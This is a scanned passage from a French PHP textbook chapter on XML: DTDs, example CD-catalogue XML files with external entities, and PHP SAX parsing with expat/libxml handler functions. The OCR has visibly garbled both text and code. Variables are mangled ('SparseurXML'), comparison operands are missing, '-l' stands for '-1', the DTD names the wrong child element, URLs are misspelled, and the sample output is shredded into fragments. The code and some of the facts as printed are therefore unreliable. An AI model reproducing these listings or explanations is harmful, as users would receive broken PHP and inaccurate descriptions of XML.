<! ELEMENT annual re (personne*)> 

<! ELEMENT personne (nom, personne, email +)> 

<!ATTLIST personne profession (etudiant | professeur | chanteur | musicien) 

s-= "etudiant"> 

<! ELEMENT nom (#PCDATA)> 

<! ELEMENT prenom (#PCDATA)> 

<! ELEMENT email (#PCDATA)> 

Un tel document precise que la balise "annuaire" doit comporter entre zero et plusieurs balises 
"personne" (ceci est indique par le caractere '*'). La balise "personne" doit contenir, dans cet 
ordre, exactement une balise "nom", une balise "personne" et une ou plusieurs balises "email" 
(ceci est indique par le caractere '+'). La balise "personne" possede un attribut "profession" 
qui pourra prendre une des valeurs parmi "etudiant", "professeur", "chanteur", 
"musicien". Si cet attribut n'est pas precise, il prendra pour valeur "etudiant". Les balises 
"nom", "prenom" et "email" contiendront simplement du texte. 

Nous n'irons pas plus loin dans la description de la DTD. 

Un fichier DTD presente tout de meme un gros defaut. En effet, il ne s'agit pas d'un document 
XML (bien forme). Ainsi, petit a petit, l'utilisation de la DTD devrait laisser place a son 
equivalent XML : "XML Schema" que nous n'aborderons pas ici. 
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>5fc XML, XML Schema et DTD 

%£/ Vous trouverez plus d' informations surXML, XML Schema et la DTD, sur les sites : 

internet http://www.xmlfacile.eom 

http://www.xmlfr.org/documentations/ 
Sans oublier la reference (en anglais) : 
http://www. w3.org/XML/ 
et sa traduction : 
http://babel.alis.com/web_ml/xml/REC-xml.fr.html 



Exemple de document XML 



Comme nous l'avons vu, XML impose tres peu de regies. II peut done convenir a tous les 
domaines d'applications. Prenons 1'exemple d'une mediatheque desireuse de decrire sa liste de 
CD audio dans un document XML. Un tel fichier pourra ressembler a : 

Listing 15.1 : mediatheque_01.xml 

<?xml version="1.0" encoding="IS0-8859-l" ?> 
<mediatheque> 

<cdaudio interprete="Noir Desir" titre="des Visages des Figures"> 
<chanson> 

<titre>L' enfant roi</titre> 
<duree>6:03</duree> 
</chanson> 
<chanson> 

<titre>Le grand incendie</titre> 
<duree>4 : 37</duree> 
</chanson> 
<chanson> 

<titre>Le vent nous portera</titre> 
<duree>4 : 48</duree> 
</chanson> 
</cdaudio> 

<cdaudio interprete="Placebo" titre="Without You I'm Nothing"> 
<chanson> 

<titre>Pure Morning</titre> 
<duree>4: 15</duree> 
</chanson> 
<chanson> 

<titre>Without You I'm Nothing</titre> 
<duree>4 : 30</duree> 
</chanson> 
<chanson> 

<titre>Every You, Every Me</titre> 
<duree>5 : 00</duree> 
</chanson> 
</cdaudio> 
</mediatheque> 
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Mais, encore une fois, le choix n'etant pas impose, il est fait de facon totalement arbitraire. Par 
exemple : nous aurions pu choisir de creer une balise "interprete" plutot que d'en faire un 
attribut de la balise "cdaudio". Tout comme nous aurions pu avoir un attribut "titre" pour 
"chanson" plutot que d'en faire une balise (ce qui aurait certainement ete plus judicieux, mais 
aurait constitue un exemple moins interessant). 

Quoi qu'il en soit, nous avons (pour les parties renseignees) toutes les informations necessaires 
au bon deroulement des operations. Peut-etre meme que certaines de ces informations ne 
seront finalement pas utilisees (ou seulement dans certains cas). 

Vous remarquerez qu'il est souhaitable d'indiquer que le document est un document XML 
repondant a la norme etablie dans la version 1.0. II est egalement preferable de preciser quel 
type d'encodage est utilise : ISO-8859-1, UTF-8 (i.e. comment sont codes les caracteres 
accentues ou les caracteres non europeens). 



Exemples d'encodage 

UTF-8 : est destine a supporter tous les styles de caracteres. 

US-ASCII : correspond awe caracteres anglais. 

ISO-8859-1 : correspond aiix caracteres utilises en Europe de VOuest. 

ISO-8859-2 : correspond aux caracteres utilises en Europe centrale. 

ISO-8859-9 : correspond aux caracteres turcs. 

EUC-JP : correspond aux caracteres japonais (sous UNIX). 

etc. 

Bref, il existe un grand nombre d'encodages. Mais, heureusement, un effort 

d'harmonisation a ete entrepris et Vencodage UTF-8 (ou l'UTF-16) devrait, a terme, 

s'imposer. 

Toutefois, les fichiers XML peuvent etre un poil plus complexes s'ils utilisent, par exemple, des 
declarations de type de documents <!doctype . . .> incluant (pourquoi pas) des <! entity 
. . . > avec des references internes et externes. Le but etant d'utiliser des alias afin de remplacer, 
par exemple, un mot-cle par une longue chaine de caracteres ou par un fichier complet. 

Listing 15.2 : mediathequeOlb.xml 

<?xml version="1.0" encoding="IS0-8859-l" ?> 
<!D0CTYPE mediatheque [ 

<!ENTITY OKComputer SYSTEM "mediatheque_02.xml "> 

<!ENTITY nc "Non communique"> 

]> 
<mediatheque> 

<cdaudio interprete="Noir Desir" titre="des Visages des Figures"> 
<chanson> 

<titre>L' enfant roi</titre> 
<duree>6:03</duree> 
</chanson> 
<chanson> 

<titre>Le grand incendie</titre> 
<duree>4 : 37</duree> 
</chanson> 
<chanson> 
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<titre>Le vent nous portera</titre> 
<duree>4 : 48</duree> 
</chanson> 
</cdaudio> 

<cdaudio interprete="Placebo" titre="Without You I'm Nothing"> 
<chanson> 

<titre>Pure Morning</titre> 
<duree>4: 15</duree> 
</chanson> 
<chanson> 

<titre>Without You I'm Nothing</titre> 
<duree>4 : 30</duree> 
</chanson> 
<chanson> 

<titre>Every You, Every Me</titre> 
<duree>5 : 00</duree> 
</chanson> 
</cdaudio> 
&OKComputer; 

<cdaudio interprete="Muse" titre="Showbiz"> 
<chanson> 

<titre>Feel ing Good</titre> 
<duree>&nc;</duree> 
</chanson> 
</cdaudio> 
</mediatheque> 

Listing 15.3 : mediatheque_02.xml 

<?xml version="1.0" encoding="IS0-8859-l" ?> 

<cdaudio interprete="Radiohead" titre="0K Computer"> 
<chanson> 

<titre>Karma Pol ice</titre> 
<duree>4 : 23</duree> 
</chanson> 
</cdaudio> 

Mais, meme ce genre de fichier XML (faisant appel a un autre fichier XML) pourra etre 
analyse par PHP, comme nous allons tres bientot le voir... 

Utilisation des documents XML 

Les documents XML pourront etre lus par un analyseur XML (parseur), transformes par un 
analyseur XSL, ou pourront simplement servir de support d'echange (comme WDDX). 
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15.2. Installation 

Depuis PHP 4, le support de XML est active par defaut (mais peut etre desactive par l'option 
de compilation — disabie-xml). Vous n'aurez done, a priori, rien a faire de special pour 
pouvoir profiter des fonctions decrites dans ces chapitres. Depuis PHP5, une seule bibliotheque 
(libXml) permet de s'occuper des differentes methodes d'analyse syntaxique et de 
transformation, il est cependant possible de desactiver certaines parties. 

Vous pouvez vous assurer du support de libXML en appelant un script contenant uniquement 
<?php phpinf o ( ) ; ?>, qui devra alors afficher : 

Figure 15.1 : 
phpinfoQ 



libxml 


liliXML support 


active 


HI-XML Version 


2.5.11 


lilXML streams 


enabled 
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Dans PHP4, le parseur appele expat etait integre par defaut et il n'y avait rien a faire pour 
profiter de ses fonctions. Depuis PHP5, expat a ete remplace par libXml qui est egalement 
integree et qui offre en outre la meme API. Ainsi les fonctions decrites ci-dessous pour libXML 
(PHP5) sont valides pour expat (PHP4) et inversement... 

Un autre parseur appele SimpleXML est disponible depuis PHP5, comme son nom l'indique 
son utilisation est tres simple. 



Le parseur SAX 

Cette analyse de document est une analyse par evenement. C'est-a-dire qu'a chaque fois qu'une 
situation particuliere est rencontree (ouverture d'une balise, fermeture d'une balise, texte 
contenu dans une balise, etc.), une fonction donnee est appelee. 

Notre script PHP devra done comporter : 

Les declarations des fonctions devant etre appelees pour les evenements nous interessant. 

et les etapes suivantes : 

Creation du parseur XML ; 

Pour chaque type d'evenement, declaration des fonctions aupres du parseur ; 

Lancement de 1'analyse proprement dite ; 

Liberation des ressources monopolisees par le parseur. 

xml_parser_create 

La creation du parseur XML se fait par simple appel a la fonction xml_parser_create ( ) . 
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xml_parser_create () 

Initialisation d'un parseur XML. 



Syntaxe resource xml_parser_create( [string $encodage]) 

$encodage Argument optionnel (insensible a la casse) precisant le type d'encodage de 

la source parmi : 
ISO- 8 859-1 (pardefaut). 

US-ASCII. 
UTF-8. 

retour En cas de succes, une reference de parseur est retournee, FALSE sinon. 

La reference retournee sera alors utilisee dans tous les appels aux fonctions XML (nous aurions 
prefere un bel objet avec une serie de methodes mais bon...). 

Gestion des balises ouvrantes et fermantes avec 
xml_set_element_handler 

Dans une version minimaliste (pour commencer) de l'analyseur, nous ne nous interesserons 
qu'aux balises ouvrantes ou fermantes. Lorsque de tels elements sont rencontres, le parseur fait 
appel aux fonctions qui ont ete prealablement referencees par xml_set_element_handler ( ) . 



xml_set_element_handler () 



Declare aupres du parseur les fonctions a appeler lorsqu'une balise ouvrante ou fermante est 
rencontree. 

Syntaxe boolean xml_set_element_handler (resource $parseur, string 

$fonctionBal iseOuvrante, string $fonctionBal iseFermante) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$fonctionBal ise 

Ouvrante Nom de la fonction en charge des balises ouvrantes. 

$fonctionBal ise 

Fermante Nom de la fonction en charge des balises fermantes. 

retour TRUE si l'operation s'est deroulee correctement, NULL sinon. 

Fonction balise ouvrante 

La fonction (dont le nom sera precise par $fonctionBaliseOuvrante) devant traiter les 
balises ouvrantes aura l'interface suivante : 

Syntaxe [boolean] maFoncti on (resource $parseur, string $nomBalise, 

array $tableauAttributs) 
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$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$nomBal i se Nom de la balise ouvrante. 

$tabl eauAttri buts Tableau associatif ayant pour cles les noms des attributs (en majuscules) 
contenus dans la balise et pour valeurs les valeurs des attributs. 

retour TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 

compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 

L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 
informations necessaires au bon traitement des donnees du fichier XML. 

Fonction balise fermante 

La fonction (dont le nom sera precise par $fonctionBaiiseFermante) devant traiter les 
balises fermantes aura l'interface suivante : 

Syntaxe [boolean] maFoncti on (resource $parseur, string $nomBal ise) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$nomBal i se Nom de la balise fermante. 

retour TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 

compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 

L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 
informations necessaires au bon traitement des donnees du fichier XML. 

xml_parse 

L'analyse d'un document XML consiste generalement a lire un fichier ligne par ligne et, pour 
chacune des lignes, a appeler xmljarse ( ) , en precisant s'il s'agit ou non de la derniere ligne. 



xml_parse() 

Analyse une chaine de caracteres avec un parseur XML. 

Syntaxe boolean xml_parse(resource $parseur, string $ligne [, boolean 

$derniereLigne] ) 

$parseur Reference du parseur telle que retournee par la fonction 

xml parser create ( ) . 

$1 i gne Chaine de caracteres a analyser. 

$derni ereLi gne TRUE s'il s'agit des dernieres donnees a traiter, FALSE (par defaut) sinon. 
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retour 1 (mais pas strictement TRUE) si l'operation s'est deroulee correctement, 

(mais pas strictement FALSE) en cas d'echec. Pour certaines fonctions 
de gestion des evenements (xml_set_external_entity 
_ref_handler ( ) ), l'operation sera considered en echec si elles ne 
retournent pas TRUE. Ce n'est en revanche pas le cas des fonctions 
xml_set_element_handler ( ) et xml_set_character_data 
_handler ( ) . 

Selon les elements rencontres, les differentes fonctions chargees des evenements seront 
appelees. 

xml_parser_free 

A la fin de l'analyse, il est bon de liberer les ressources qui ont ete allouees par le parseur. Pour 
cela, il suffit d'un simple appel a xmi_parser_f ree ( ) . 



xml_parser_free () 



Libere les ressources allouees au parseur. 

Syntaxe boolean xml_parser_free(resource $parseur) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

retour TRUE en cas de succes, NULL en cas d'echec. 



Premier exemple d'application 

Ceci nous permet done de creer notre premier script d'analyse de document XML (qui, pour 
l'instant, reste basique et ne gere pas les erreurs). 

Listing 15.4 : expat_01.xml 

<?php 

$fichier = ". ./src_xml/mediatheque_01.xml "; 

// Exemple de fonction gerant 

// les balises ouvrantes 

function fonctionBaliseOuvrante($parseur, $nomBalise, $tableauAttributs) 

{ 

echo "La balise ouvrante : $nomBal ise<br />\n"; 
if ( count($tableauAttributs) > ) { 

echo "...avec les attributs:<br />\n"; 

while ( list($attribut, $valeur) = each($tableauAttributs) ) { 

echo "   $attribut = $valeur<br />\n"; 
} 
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return TRUE; 
} 
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// Exemple de fonction gerant 

// les balises fermantes 

function fonctionBaliseFermante($parseur, $nomBalise) 



echo "La balise fermante: $nomBal ise<br />\n"; 
return TRUE; 



} 



// Creation du parseur XML 
SparseurXML = xml_parser_create() ; 

// Association des fonctions 

// de traitement des balises ouvrantes et fermantes 
xml_set_element_handler (SparseurXML, "fonctionBal iseOuvrante", 
x "fonctionBaliseFermante") ; 

// Ouverture du fichier 

( $fp = fopen($fichier, "r") ) or 

die("Impossible d'ouvrir le fichier XML"); 

// Lecture du fichier ligne par ligne 

echo "Lors du parcours du fichier XML. J'ai rencontre:<br />"; 

while ( $ligneXML = fgets($fp, 1024) ) { 

xml_parse($parseurXML, $ligneXML, feof($fp) ) or 
die("Erreur XML") ; 
} 

// Liberation des ressources 
xml_parser_free (SparseurXML) ; 
fclose($fp); 
?> 

Ceci aura pour effet d'afficher : 

Lors du parcours du fichier XML. J'ai rencontre: 

La balise ouvrante : MEDIATHEQUE 

La balise ouvrante : CDAUDIO 

...avec les attributs: 

INTERPRETE = Noir Desir 

TITRE = des Visages des Figures 

La balise ouvrante : CHANSON 

La balise ouvrante : TITRE 

La balise fermante: TITRE 

La balise ouvrante : DUREE 

La balise fermante: DUREE 

La balise fermante: CHANSON 

La balise ouvrante : CHANSON 

La balise ouvrante : TITRE 
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La bal 


se 


fermante: 


TITRE 


La bal 


se 


ouvrante 


: DUREE 


La bal 


se 


fermante: 


DUREE 


La bal 


se 


fermante: 


CHANSON 


La bal 


se 


ouvrante 


: CHANSON 


La bal 


se 


ouvrante 


: TITRE 


La bal 


se 


fermante: 


TITRE 


La bal 


se 


ouvrante 


: DUREE 


La bal 


se 


fermante: 


DUREE 


La bal 


se 


fermante: 


CHANSON 


La bal 


se 


fermante: 


CDAUDIO 


La balise 


ouvrante 


: CDAUDIO 


...avec les attributs: 


INTERPRETE = Placebo 


TITRE = Without You 


I'm Nothing 


La bal 


se 


ouvrante 


: CHANSON 


La bal 


se 


ouvrante 


: TITRE 


La bal 


se 


fermante: 


TITRE 


La bal 


se 


ouvrante 


: DUREE 


La bal 


se 


fermante: 


DUREE 


La bal 


se 


fermante: 


CHANSON 


La bal 


se 


ouvrante 


: CHANSON 


La bal 


se 


ouvrante 


: TITRE 


La bal 


se 


fermante: 


TITRE 


La bal 


se 


ouvrante 


: DUREE 


La bal 


se 


fermante: 


DUREE 


La bal 


se 


fermante: 


CHANSON 


La bal 


se 


ouvrante 


: CHANSON 


La bal 


se 


ouvrante 


: TITRE 


La bal 


se 


fermante: 


TITRE 


La bal 


se 


ouvrante 


: DUREE 


La bal 


se 


fermante: 


DUREE 


La bal 


se 


fermante: 


CHANSON 


La bal 


se 


fermante: 


CDAUDIO 


La bal- 


se 


fermante: 


MEDIATHEQUE 



Premiere constatation : le document a ere correctement analyse (on retrouve tous les attributs 
et balises contenus dans le fichier XML). Et c'est plutot une bonne nouvelle ! 

Seconde constatation : tous les noms de balises et attributs ont ete passes en majuscules. 

Enfin, dans cet exemple, le contenu des balises n'a pas ete traite. Ceci n'a rien d'etonnant, 
puisque nous nous sommes contentes de definir les fonctions des evenements balises ouvrantes 
et balises fermantes. 

La transformation ou non des noms des balises et des attributs est une option du parseur qui 
peut etre fixee par la fonction xml_parser_set_option ( ) . 
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xml_parser_set_option () 

Fixe les options du parseur (respect de la casse, encodage de sortie). 

Syntaxe boolean xml_parser_set_option(resource $parseur, int $option, 

mixed $valeur) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$ o p t i o n Au choix, une valeur parmi : 

XML_OPTlON_CASE_FOLDlNG : force le passage en majuscules (par 
defaut TRUE). 

XML_OPTlON_TARGET_ENCODlNG : determine l'encodage de sortie 
(par defaut, celui precise du document en entree). 

$valeur Valeur a donner a l'option. 

retour TRUE en cas de succes, rien (mais pas strictement FALSE) sinon. 

II est possible de verifier la valeur d'une option avec xml_parser_get_option ( ) . 



xml_parser_get_option () 
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Retourne les options du parseur. 

Syntaxe mixed xml_parser_get_option(resource $parseur, int $option) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$ o p t i o n Au choix, une valeur parmi : 

XML_0PTI0N_CASE_F0LDING indiquant si les noms sont convertis en 

majuscules. 

XML_OPTION_TARGET_ENCODING indiquant l'encodage de sortie. 

retour Valeur de l'option. 

Ce premier exemple nous a permis de bien comprendre comment se deroule l'analyse. Void 
maintenant un exemple d'utilisation un peu plus concret, destine a afficher la liste des 
interpretes et titres. 

Listing 15.5 : expat_02.php 

<?php 

$fichier = ". ./src_xml/mediatheque_01.xml "; 

// Exemple de fonction gerant 

// les balises ouvrantes 

function fonctionBaliseOuvrante($parseur, $nomBalise, $tableauAttributs) 

{ 
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} 



switch ($nomBal ise) { 
case "cdaudio" : 

echo $tableauAttributs["interprete"] ; 

echo " : "; 

echo $tableauAttributs["titre"] ; 

echo "<br />"; 

break; 



return TRUE; 



// Exemple de fonction gerant 

// les balises fermantes 

function fonctionBal iseFermante($parseur, $nomBalise) 

{ 

// Dans ce cas, je n'ai rien a faire.. 

return TRUE; 



// Creation du parseur XML 
$parseurXML = xml_parser_create() ; 

// Force le parseur a respecter la casse 
xml_parser_set_option($parseurXML, XML_OPTION_CASE_FOLDING, FALSE) ; 

// Declaration des fonctions de traitement 
// des balises ouvrantes et fermantes 

xml_set_element_handler($parseurXML, "fonctionBal iseOuvrante", 

"fonctionBaliseFermante") ; 

// Ouverture du fichier 

( $fp = fopen($fichier, "r") ) or 

die("Impossible d'ouvrir le fichier XML"); 

// Lecture du fichier ligne par ligne 
while ( $ligneXML = fgets($fp, 1024) ) { 

xml_parse($parseurXML, $ligneXML, feof($fp) ) or 
die("Erreur XML") ; 
} 

// Liberation des ressources 
xml_parser_free($parseurXML) ; 
fclose($fp); 
?> 

donnera effectivement : 

Noir Desir : des Visages des Figures 
Placebo : Without You I'm Nothing 
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Voyons maintenant le moyen de traiter les autres evenements. 

Gestion du texte contenu dans les balises avec 
xml_set_character_data_handler 

La fonction xml_set_character_data_handler ( ) vous permet de preciser quelle fonction 
doit traiter le texte contenu entre les balises ouvrante et fermante. 



xml_set_character_data_handler() 
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Declare aupres du parseur la fonction a appeler lorsque du texte est rencontre. 

Syntaxe boolean xml_set_character_data_handler (resource $parseur, 

string $fonctionTexte) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$foncti onTexte Nom de la fonction en charge du traitement du texte. 
retour TRUE si l'operation s'est deroulee correctement, NULL sinon. 

Fonction texte des balises 

La fonction (dont le nom sera precise par $fonctionTexte) devant traiter le texte contenu 
entre les balises aura l'interface suivante : 

Syntaxe [boolean] maFoncti on (resource $parseur, string $texte) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$texte Le texte rencontre. 

retour TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 

compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 

L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 
informations necessaires au bon traitement des donnees. 



Gestion du caractere & 

Lorsqu 'une chaine de caracteres contient un & (indicateur de reference interne ou 



externe) celle-ci est scindee en plusieurs morceaux. II y a done dans ce cas plusieurs 
appels a la fonction decrite ici. 



Nous allons done pouvoir completer notre exemple afin d'afficher les noms et durees des 
chansons disponibles sur les albums. 



1200 



Les parseurs 



Listing 15.6 : expat_03.php 

<?php 

$fichier = ". ./src_xml/mediatheque_01.xml "; 

// Exemple de fonction gerant 

// les balises ouvrantes 

function fonctionBaliseOuvrante($parseur, $nomBalise, $tableauAttributs) 

{ 

// Pour les besoins de la fonction 
// fonctionTexte nous devons memoriser 
// les noms des balises rencontrees 
// dans une variable global e 
global $balises; 

$balises[] = $nomBalise; 

switch ($nomBalise) { 
case "cdaudio" : 
echo "<b>"; 

echo $tableauAttributs["interprete"] ; 
echo " : "; 

echo $tableauAttributs["titre"] ; 
echo "</bxbr />"; 
break; 



return TRUE; 
} 

// Exemple de fonction gerant 

// les balises fermantes 

function fonctionBal iseFermante($parseur, $nomBalise) 

{ 

// Une fois sorti de la balise 

// il faut mettre a jour la variable 

// global e memorisant les noms de balises 

// rencontrees, en supprimant le dernier nom 

global $balises; 

array_pop($balises) ; 

return TRUE; 



function fonctionTexte($parseur, $texte) 

{ 

// Pour savoir a quelle balise se rapporte 
// ce texte, il faut avoir au prealable 
// memorise les balises rencontrees 
// dans une variable global e 
global $balises; 
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// Toutefois, dans notre cas, 
// Nous ne nous interessons qu'a la derniere 
// balise rencontree (sans tenir compte 
// des balises parentes) 

$derniereBal ise = $bal ises[count($balises)-l] ; 
switch ($derniereBalise) { 
case "titre" : 

echo "- $texte"; 

break; 
case "duree": 

echo " $texte<br />"; 

break; 
} 

return TRUE; 



} 



// Creation du parseur XML 
SparseurXML = xml_parser_create() ; 

// Force le parseur a respecter la casse 

xml_parser_set_opti on (SparseurXML, XML_OPTION_CASE_FOLDING, FALSE) ; 

// Declaration des fonctions de traitement 
// des balises ouvrantes et fermantes 
xml_set_element_handler (SparseurXML, 

"fonctionBal iseOuvrante", 

"fonctionBal iseFermante") ; 

// Declaration de la fonction de traitement 
// du texte entre les balises 
xml_set_character_data_handler($parseurXML, "fonctionTexte") ; 

// Ouverture du fichier 

( $fp = fopen($fichier, "r") ) or 

die("Impossible d'ouvrir le fichier XML"); 

// Lecture du fichier ligne par ligne 
while ( $ligneXML = fgets($fp, 1024) ) { 

xml_parse($parseurXML, $ligneXML, feof($fp) ) or 
die("Erreur XML") ; 
} 

// Liberation des ressources 
xml_parser_free($parseurXML) ; 
fclose($fp); 
?> 

Comme vous pouvez le constater, le resultat obtenu est : 

Noir Desir : des Visages des Figures 
- L 1 enfant roi 6:03 
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- Le grand incendie 4:37 

- Le vent nous portera 4:48 
Placebo : Without You I'm Nothing 

- Pure Morning 4:15 

- Without You I'm Nothing 4:30 

- Every You, Every Me 5:00 

Mais, surtout, a la lecture du code, vous constatez que la principale difficulte (notamment pour 
ceux qui n'ont jamais utilise ce genre de parseur) vient du fait qu'au niveau de la fonction 
chargee du traitement du texte, nous n'avons, a priori, aucune information sur la balise a 
laquelle le texte se rapporte. II convient done de memoriser, par nos propres moyens, 
"l'historique" des balises rencontrees. 

Avant de passer a la suite, afin de preparer le terrain pour une utilisation plus complexe, nous 
vous proposons de legerement remanier ce script pour en faire un objet. 

Mais voila ! pour utiliser le parseur XML dans un objet, il faut faire appel a la fonction 

xml_set_object ( ) . 



xml_set_object() 

Permet l'utilisation du parseur XML dans un objet. 



Syntaxe void xml_set_object(resource $parseur, object &$objet) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$ob j et Reference sur l'objet. 

Attention !... suspense... et voila ! 

Listing 15.7 : expat_03b.php 

<?php 

class XML_Parseur 

{ 

var $parseurXML; 

function XML_Parseur() 

{ 

} 

function init() 

{ 

$this->parseurXML = xml_parser_create() ; 

// Definit l'objet courant comme etant l'objet 

// qui "heberge" les fonctions de gestion des evenements 

xml_set_object ($thi s->parseurXML, &$thi s) ; 
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xml_parser_set_option($this->parseurXML, XML_OPTION_CASE_FOLDING, 

FALSE); 
xml_set_element_handler($this->parseurXML, "fonctionBal iseOuvrante", 

"fonctionBal iseFermante") ; 
xml_set_character_data_handler($this->parseurXML, "fonctionTexte") ; 
} 



function parse ($fichier) 

{ 

( $fp = fopen($fichier, "r") ) or 

die("Impossible d'ouvrir le fichier XML"); 

while ( $ligneXML = fgets($fp, 1024) ) { 

xml_parse($this->parseurXML, $ligneXML, feof($fp) ) or 
die("Erreur XML"); 

} 
fclose($fp) ; 

} 

function free() 

{ 

xml_parser_free($this->parseurXML) ; 

} 

// 

// Methodes privees 

// 

function fonctionBaliseOuvrante($parseur, $nomBalise, $tableauAttributs) 
{ 

global $balises; 

$balises[] = $nomBalise; 

switch ($nomBalise) { 
case "cdaudio" : 

echo "<b>"; 

echo $tableauAttributs["interprete"] ; 

echo " : "; 

echo $tabl eauAttri buts ["ti tre"] ; 

echo "</bxbr />"; 

break; 
} 

return TRUE; 
} 

function fonctionBaliseFermante($parseur, $nomBalise) 

{ 

global $balises; 
array pop($bal ises) ; 
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return TRUE; 
} 

function fonctionTexte($parseur, $texte) 
{ 

global $balises; 

$derniereBal ise = $bal ises[count($bal ises)-l] ; 
switch ($derniereBalise) { 
case "titre" : 

echo "- $texte"; 
break; 
case "duree": 

echo " $texte<br />"; 
break; 
} 



} 
} 



return TRUE; 



$fichierXML = ". ./src_xml/mediatheque_01.xml "; 

$parseur = new XML_Parseur() ; 
$parseur->init() ; 
$parseur->parse($fichierXML) ; 
$parseur->free() ; 
?> 

Nous voila prets pour aborder la suite. 

Gestion des entites externes avec 
xml_set_external_entity_ref_handler 

La fonction xml_set_external_entity_ref_handler ( ) vous permet de preciser quelle 
fonction doit traiter les references aux entites externes. Les entites externes apparaissent dans 
les documents XML sous la forme &nomEntite; et sont declarees sous la forme <! entity 

nomEntite SYSTEM " f ichier .xml ">. 
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xml_set_external_entity_ref_handler() 



Declare aupres du parseur la fonction a appeler lorsque des references a des entites externes 

SOnt rencontrees (&nomEntite; avec <!ENTITY nomEntite SYSTEM "f ichier .xml ">). 

Syntaxe boolean xml_set_external_entity_ref_handler(resource 

$parseur, string $fonctionRefEntiteExterne) 
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$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$fonctionRef 

Enti teExterne Nom de la fonction en charge du traitement des references a des entites 

externes. 

retour TRUE si l'operation s'est deroulee correctement, NULL sinon. 

Fonction reference a des entites externes 

La fonction (dont le nom sera precise par $fonctionRefEntiteExterne) devant traiter les 
instructions de traitement aura 1'interface suivante : 

Syntaxe boolean maFonction(resource $parseur, string $nomEntite, 

string $base, string $idSysteme, $idPublic) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$nomEntite Nom de l'entite. 

$base Nonrenseigne. 

$idSysteme L'identifiant systeme de l'entite (en d'autres termes, valeur du champ 

"SYSTEM" ou celui suivant la valeur du champ "PUBLIC", c'est-a-dire le 
document externe pointe). 

$i dPubl i c L'identifiant public de l'entite (concretement, la valeur du champ 

"PUBLIC", c'est-a-dire le document externe pointe servant de reference). 

retour TRUE si l'operation a ete realisee avec succes, FALSE sinon. 

L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 
informations necessaires au bon traitement des donnees. Cependant, il est a noter que la 
presence de cette fonction sous-entend que la lecture et l'inclusion du document externe sont 
a votre charge. 

Listing 15.8 : expat_04.php 

<?php 

class XML_Parseur 

{ 

var $parseurXML; 

var $fichierXML; // Fichier sur lequel s'est applique 
// le dernier traitement 

function XML_Parseur() 
{ 

} 

function init() 

{ 

$this->parseurXML = xml_parser_create() ; 

// Definit l'objet courant comme etant 1 ' objet 
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// qui "heberge" les fonctions de gestion des evenements 
xml_set_object ($thi s->parseurXML, &$thi s) ; 

xml_parser_set_option($this->parseurXML, XML_OPTION_CASE_FOLDING, 

FALSE) ; 
xml_set_el ement_handl er ($thi s->parseurXML, "foncti onBal i seOuvrante" , 

"fonctionBaliseFermante") ; 
xml_set_character_data_handler($this->parseurXML, "fonctionTexte") ; 

// Declaration de la foncti on de traitement 

// des references aux entites externes 

xml_set_external_entity_ref_handler($this->parseurXML, 

"fonctionRefEntiteExterne") ; 



function parse($fichier) 
{ 

// Pour le traitement des references aux entites externes 

// nous avons besoin de memoriser a quel fichier est applique 

// le traitement 

$this->fichierXML = $fichier; 

( $fp = fopen($fichier, "r") ) or 

die("Impossible d'ouvrir le fichier XML"); 

while ( $ligneXML = fgets($fp, 1024) ) { 

xml_parse($this->parseurXML, $ligneXML, feof($fp) ) or 
die("Erreur XML". 

xml_error_string(xml_get_error_code($this->parseurXML))) ; 

} 
fclose($fp); 



function free() 
{ 

xml parser free($this->parseurXML) ; 



// 

// Methodes privees 

// 

function fonctionBaliseOuvrante($parseur, $nomBalise, $tableauAttributs) 

{ 

global $balises; 
$balises[] = $nomBalise; 

switch ($nomBalise) { 
case "cdaudio" : 
echo "<b>"; 
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echo $tableauAttributs["interprete"] ; 
echo " : "; 

echo $tabl eauAttri buts ["ti tre"] ; 
echo "</bxbr />"; 
break; 
} 

return TRUE; 
} 

function fonctionBaliseFermante($parseur, $nomBalise) 

{ 

global $balises; 
array_pop($bal ises) ; 

return TRUE; 



function fonctionTexte($parseur, $texte) 

{ 

global $balises; 

$derniereBal ise = $balises[count($bal ises)-l] ; 
switch ($derniereBal ise) { 
case "titre" : 

echo "- $texte"; 
break; 
case "duree": 

echo " $texte<br />"; 
break; 
} 

return TRUE; 



// Exemple de fonction gerant 
// les references aux entites externes 
function fonctionRefEntiteExterne($parseur, 

$nomEntite, 
$base, 
$idSysteme, 
$idPublic) 



{ 



// II est ici, fait reference a 

// $idSysteme (et eventuel lement $idPublic) 

// nous ne nous interesserons ici 

// qu'a $idSysteme. 

// Attention: Petite subtilite 

// le chemin du fichier externe est relatif 

// au fichier XML et non au script PHP 

// (REM: Ici, on suppose que le chemin est relatif 
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// et non absolu) 

$fichierExterne = dirname($this->fichierXML) . "/".$idSysteme; 

// Nous instancions un nouveau parseur 

// (eel a pourrait par exemple permettre de gerer 

// des fichiers externes possedant un encodage different) 

$tmpParseur = new XML_Parseur() ; 
$tmpParseur->parse($fichierExterne) ; 
$tmpParseur->free() ; 

// Ne pas oublier de retourner TRUE en cas 
// de succes des operations, 
return TRUE; 



$fichierXML 



./src_xml/mediatheque_01b.xml ' 



$parseur = new XML_Parseur() ; 
$parseur->init() ; 
$parseur->parse($fichierXML) ; 
$parseur->free() ; 
